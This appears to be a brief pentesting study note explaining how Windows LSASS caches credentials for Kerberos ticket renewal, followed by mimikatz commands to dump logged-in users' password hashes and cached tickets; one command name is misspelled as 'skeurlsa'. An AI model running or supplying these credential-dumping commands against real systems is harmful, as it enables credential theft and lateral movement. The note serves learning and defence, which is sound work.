Cached Credentials

In Kerberos authentication, Ticket Granting Tickets (TGTs) have a limited lifespan. To avoid requiring the user to manually re-enter their password every time the TGT needs to be renewed, the user's credentials (like their password hash) are temporarily cached on the system. This allows automatic renewal of the TGT without user intervention.

LSASS Process

LSASS (Local Security Authority Subsystem Service): The LSASS process is responsible for handling security tokens, enforcing security policies, and managing user logins on a Windows system. It also securely stores credentials.

LSASS temporarily holds these credentials in memory so that it can automatically renew the TGT when it expires.

User with local administrator permissions is able to dump all logged-in users hashes using mimikatz:

privilege::debug # verify permissions
skeurlsa::logonpasswords # extracting cached credentials

Tickets can also be dumped using the following command

sekurlsa::tickets  # extracting cached tickets